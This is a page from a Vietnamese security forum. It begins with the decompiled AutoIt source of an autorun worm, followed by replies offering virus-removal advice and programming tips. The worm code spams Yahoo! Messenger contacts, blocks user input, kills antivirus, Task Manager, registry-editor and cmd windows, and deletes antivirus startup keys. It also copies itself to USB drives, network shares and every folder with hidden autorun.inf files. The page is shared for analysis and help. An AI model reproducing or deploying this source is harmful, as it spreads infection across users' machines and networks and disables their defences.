$tin[7] = "Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon. Gio nguoi lac loi buoc chan ve noi xa xoi, cay dang chi rieng minh toi... " & $myweb & " "
EndIf
$tin[8] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[8]","")
If $tin[8] = "" Then
$tin[8] = "Loi em noi cho tinh chung ta, nhu doan cuoi trong cuon phim buon. Nguoi da den nhu la giac mo roi ra di cho anh bat ngo... " & $myweb & " "
EndIf
$tin[9] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[9]","")
If $tin[9] = "" Then
$tin[9] = "Tra lai em niem vui khi duoc gan ben em, tra lai em loi yeu thuong em dem, tra lai em niem tin thang nam qua ta dap xay. Gio day chi la nhung ky niem buon... " & $myweb & " "
EndIf
$tieude = WinGetTitle("Yahoo! Messenger", "")
$kiemtra = WinExists ($tieude)
If $kiemtra = 1 Then
$ngaunhien = Random(0,9,1)
ClipPut ($tin[$ngaunhien])
BlockInput (1)
WinActivate ($tieude)
Send ("!m")
Send ("un")
Send ("^v {ENTER}{ENTER}")
Send ("^m")
Send ("{DOWN}")
Send ("^{SHIFTDOWN}{END}{SHIFTUP}")
Send ("{ENTER}")
Send ("^v {ENTER}")
BlockInput (0)
EndIf
$toigio=@MIN + 30
If $toigio>60 Then
$toigio=$toigio-60
EndIf
EndFunc
Func killprocess()
If WinExists ("Bkav2006") Then
WinClose ("Bkav2006")
RegDelete ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","BkavFw")
EndIf
If WinExists ("System Configuration") Then
WinClose ("System Configuration")
EndIf
If WinExists ("Registry") Then
WinClose ("Registry")
EndIf
If WinExists ("Windows Task") Then
WinClose ("Windows Task")
EndIf
If WinExists ("[FireLion]") Then
RegDelete ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","IEProtection")
Shutdown (2)
EndIf
If ProcessExists ("cmd.exe") then
ProcessClose ("cmd.exe")
EndIf
EndFunc
Func copyusb()
$usb = DriveGetDrive("REMOVABLE")
If NOT @error Then
Dim $odia[6]
$odia[1]=""
For $i=1 To $usb[0]
$odia[$i-1]=$usb[$i]
Next
If $odia[0] <>"A:" Then
If $odia[0]<>"" Then
FileCopy (@WindowsDir & "\" & $name & $exe,$odia[0] & "\New Folder.exe",0)
Sleep (1)
FileCopy (@SystemDir & "\" & $name & $exe,$odia[0] & "\" & $name &$exe,0)
Sleep (1)
FileCopy (@SystemDir & "\autorun.ini",$odia[0] & "\autorun.inf",0)
FileSetAttrib ($odia[0] & "\autorun.inf","+RSH")
Sleep (1)
Search($odia[0])
EndIf
EndIf
If $odia[0]="A:" Then
If $odia[1]<>"" Then
FileCopy (@WindowsDir & "\" & $name & $exe,$odia[1] & "\New Folder.exe",0)
Sleep (1)
FileCopy (@SystemDir & "\" & $name & $exe,$odia[1] & "\" & $name &$exe,0)
Sleep (1)
FileCopy (@SystemDir & "\autorun.ini",$odia[1] & "\autorun.inf",0)
FileSetAttrib ($odia[1] & "\autorun.inf","+RSH")
Sleep (1)
Search($odia[1])
EndIf
EndIf
EndIf
EndFunc
Func Search($current)
Local $search = FileFindFirstFile($current & "\*.*")
While 1
Dim $file = FileFindNextFile($search)
If @error Or StringLen($file) < 1 Then ExitLoop
If StringInStr(FileGetAttrib($current & "\" & $file), "D") And ($file <> "." Or $file <> "..") Then
FileCopy (@WindowsDir & "\" & $name & $exe,$current & "\" & $file & "\" & $file & $exe,0)
Search($current & "\" & $file)
EndIf
Sleep (1)
WEnd
FileClose($search)
EndFunc
Func copynetwork ()
Dim $mang[30]
For $i=1 to 30
$read = RegEnumKey ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares",$i)
If @error Then ExitLoop
$read = StringReplace ($read,"/","\")
$mang[$i] = "\\" & $read
$checkcopy = FileCopy (@WindowsDir & "\" & $name & $exe,$mang[$i] & "\New Folder.exe",1)
If $checkcopy =1 Then
FileCopy (@SystemDir & "\" & $name & $exe,$mang[$i] & "\" & $name & $exe,0)
FileCopy (@SystemDir & "\autorun.ini",$mang[$i] & "\autorun.inf",1)
FileSetAttrib ($mang[$i] & "\autorun.inf","+RSH")
Search($mang[$i])
EndIf
Next
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares","shared","REG_SZ",$mang[$i-1] & "\New Folder.exe")
EndFunc
Func createini()
IniWrite (@SystemDir & "\autorun.ini","Autorun","Open",$name & $exe)
IniWrite (@SystemDir & "\autorun.ini","Autorun","Shellexe cute",$name & $exe)
IniWrite (@SystemDir & "\autorun.ini","Autorun","Shell\Open\command",$name & $exe)
IniWrite (@SystemDir & "\autorun.ini","Autorun","Shell","Open")
Sleep (1)
FileSetAttrib (@SystemDir & "\autorun.ini","+RSH")
EndFunc
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Documents and Settings\phuong anh\Desktop\nhatquanglan.au3>
; ----------------------------------------------------------------------------


Dính virus autorun rồi. Tìm đọc trên forum có mấy bài về vấn đề này.
Ra ngoài console, dir auto*.inf /s /a:h thử có cái nào không, hay del autorun.inf /s /f
Post file "C:\Window\System32\worm.exe" lên đâu đó để người khác xem thử.
Trong hijack log của cậu không thấy gì khả nghi cả. Với lại cậu đã cài Symantec Antivirus rồi mà. Thử update database virus cho nó rồi quét lại thử đi. Tui nghĩ là BKAV quét lụi, báo kết quả tầm bậy.
Gú gồ với "W32.Delface.Worm", không ra kết quả nào hết. Chứng tỏ BKAV hù dọa cậu rồi. Hì hì, update lên BKAV Pro đi [smilie.
Cậu vào file system.ini, xóa đoạn text này đi: C:\WINDOWS\system32\Deleteme.vbs
Post content của file Deleteme.vbs này lên cho bà con xem thử.
Search trong registry chuỗi "Deleteme.vbs", tìm thấy thì xóa luôn. Nhớ là chỉ xóa chuỗi này thôi, không khéo xóa mất cái thằng nằm chung, liền kề với nó.
Chắc là lười, hoặc ... Tui nhớ từ file .exe sang file .doc cũng đơn giản thôi. Hồi đó tính viết 1 tool console nho nhỏ để recover nhưng không thấy ai bị dính nhiều nên thôi.

HKLM\...\ControlSet001\Services\kspooldaemon\Type
HKLM\...\ControlSet001\Services\kspooldaemon\Start
HKLM\...\ControlSet001\Services\kspooldaemon\ErrorControl
HKLM\...\ControlSet001\Services\kspooldaemon\ImagePath
HKLM\...\ControlSet001\Services\kspooldaemon\DisplayName
HKLM\...\ControlSet001\Services\kspooldaemon\ObjectName
HKLM\...\ControlSet001\Services\kspooldaemon\Security\Security
HKLM\...\ControlSet001\Enum\Root\LEGACY_KSPOOLDAEMON\NextInstance
HKLM\...\ControlSet001\Enum\Root\...\Service
HKLM\...\ControlSet001\Enum\Root\...\Legacy
HKLM\...\ControlSet001\Enum\Root\...\ConfigFlags
HKLM\...\ControlSet001\Enum\Root\...\Class
HKLM\...\ControlSet001\Enum\Root\...\ClassGUID
HKLM\...\ControlSet001\Enum\Root\...\DeviceDesc
HKLM\...\ControlSet001\Enum\Root\...\Control\*NewlyCreated*
HKLM\...\ControlSet001\Enum\Root\...\Control\ActiveService
 

Lại snap OS nữa, thằng coder virus nào điên mà đi ghi vào các registry này. Cái này do OS làm khi một service được đăng ký (code, manual).
Con này tui phân tích rồi, thấy chẵng có quái gì, delete luôn rồi.
Có 2 yêu cầu:
1. Cậu phải biết về RE: Reverse engineering.
2. Cậu phải khá ở mức lập trình hệ thống trên Windows với mấy game này.
Một phần mềm multimedia thì cũng có thể code = C# được, nhưng tới nay, đa số người ta vẫn dùng C/C++ là chủ yếu, vì vấn đề quan trọng nhất của các phần mềm này là yêu cầu tốc độ.
Trên Windows, các compiler tạo mã nhanh nhất theo tôi biết là Intel C++ Compiler, số 1, kế đến là VC++ 2005.
Cậu đang dùng NTFS hay FAT16/32. Chắc là FAT phải không. Khỏi sữa luôn, scandisk lại đi rồi remove hết. Một do virus phá bảng FAT, hai là hardisk của cậu bắt đầu bịnh, nhức đầu sổ mũi rồi.
C++, trên Windows thì dùng VC++, trên nix thì dùng GCC.
 
Go to Page:  First Page Page 23 24 25 26 28 29 30 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|